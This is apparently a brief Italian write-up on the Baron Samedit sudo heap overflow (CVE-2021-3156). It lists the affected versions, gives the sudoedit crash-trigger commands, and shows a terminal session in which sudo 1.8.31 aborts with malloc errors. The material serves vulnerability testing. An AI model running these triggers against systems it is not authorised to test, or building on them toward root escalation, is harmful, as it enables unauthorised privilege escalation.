
La vulnerabilità Baron Samedit (CVE-2021-3156) interessa le versioni legacy di sudo dalla 1.8.2 alla 1.8.31p2 e le versioni stabili dalla 1.9.0 alla 1.9.5p1. Questo difetto di buffer overflow basato su heap è stato introdotto a luglio 2011 tramite il commit 8255ed69 ed è rimasto non rilevato per quasi un decennio
Sudo precedente alla 1.9.5p2 contiene un errore off-by-one che può causare un buffer overflow basato su heap, consentendo l'escalation dei privilegi a root tramite "sudoedit -s" e un argomento della riga di comando che termina con un singolo carattere backslash.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)